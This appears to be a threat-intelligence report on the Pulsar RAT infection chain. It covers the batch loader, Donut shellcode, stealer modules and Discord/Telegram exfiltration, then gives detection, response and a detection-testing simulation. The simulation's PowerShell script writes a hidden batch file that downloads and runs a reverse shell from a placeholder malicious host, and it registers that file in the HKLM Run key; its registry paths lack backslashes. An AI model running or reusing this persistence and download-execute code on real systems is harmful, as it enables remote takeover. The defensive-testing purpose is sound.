Pulsar RAT Powers Live Chat Driven Remote Control and Advanced Infostealer Delivery via Donut Loader

Summary

The report describes a multi-stage Windows malware chain that relies on a concealed batch script for persistence, a PowerShell loader, and Donut-generated shellcode to inject a .NET stealer and remote-access toolkit into legitimate processes. The implant supports credential theft, webcam/audio capture, clipboard monitoring, and data exfiltration through Discord webhooks and Telegram bots. Persistence is maintained via per-user Run key entries and scheduled tasks, reinforced by a watchdog that repeatedly re-injects into explorer.exe. Anti-analysis coverage includes anti-VM checks, anti-debugging logic, and safeguards meant to detect process-injection monitoring.

Investigation

Researchers dissected the batch-based persistence stub, extracted and decoded the embedded Base64 content, and recovered a PowerShell stage responsible for decrypting a Donut shellcode blob. That shellcode loads a heavily obfuscated .NET payload (Client.exe) with modular assemblies such as Pulsar.Common.dll and Stealerv37.dll. Dynamic testing confirmed injection into svchost.exe and explorer.exe, active C2 communications, and memory-resident execution designed to avoid writing a decrypted executable to disk.

Mitigation

Detect and prevent PowerShell abuse involving execution-policy bypass, monitor for hidden-file creation under %APPDATA%, and alert on suspicious modifications to HKCU Run keys. Flag scheduled task creation that uses unusual naming patterns or unexpected triggers. At the network layer, block outbound connectivity to the identified IP address and enforce tight egress controls for Discord and Telegram API traffic. Strengthen defenses with detections for anti-VM/anti-debug behavior and apply application allow-listing to limit script-driven payload staging.

Response

If activity is detected, isolate the endpoint, stop malicious and injected processes, remove the hidden batch artifact and any related PowerShell scripts, and delete the associated Run-key value and scheduled task. Capture memory for forensic analysis, preserve logs for scoping, and hunt for correlated IOCs across the environment. Rotate potentially exposed credentials and monitor for lateral movement or follow-on payload deployment.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:
  An adversary has breached a low‑privileged user account and seeks persistence across reboots. To avoid triggering traditional executable‑based defenses, they craft a lightweight batch file (persistence.bat) that launches a reverse shell. The attacker writes the batch file to %TEMP% and registers it under the HKLM Run key, ensuring execution under the SYSTEM context at every logon. The chosen .bat extension matches the detection rule’s “.bat” filter, guaranteeing the rule fires.

• Regression Test Script:

  # -------------------------------------------------
  # Persistence via Run Key – .bat payload (PowerShell)
  # -------------------------------------------------
  # 1. Create a simple batch file in %TEMP%
  $batPath = "$env:TEMPpersistence.bat"
  $batContent = '@echo off
  powershell -NoProfile -WindowStyle Hidden -Command "IEX (New-Object Net.WebClient).DownloadString(''http://malicious.example.com/revshell.ps1'')"'
  Set-Content -Path $batPath -Value $batContent -Encoding ASCII -Force
  
  # 2. Add the batch file to the HKLM Run key
  $runKey = "HKLM:SoftwareMicrosoftWindowsCurrentVersionRun"
  New-ItemProperty -Path $runKey -Name "Updater" `
      -Value $batPath -PropertyType String -Force
  
  # 3. Output confirmation (does not affect detection)
  Write-Host "Persistence entry created: $runKeyUpdater -> $batPath"

• Cleanup Commands:

  # -------------------------------------------------
  # Remove the Run‑key entry and batch file
  # -------------------------------------------------
  $runKey = "HKLM:SoftwareMicrosoftWindowsCurrentVersionRun"
  Remove-ItemProperty -Path $runKey -Name "Updater" -ErrorAction SilentlyContinue
  
  $batPath = "$env:TEMPpersistence.bat"
  Remove-Item -Path $batPath -Force -ErrorAction SilentlyContinue
  
  Write-Host "Cleanup complete."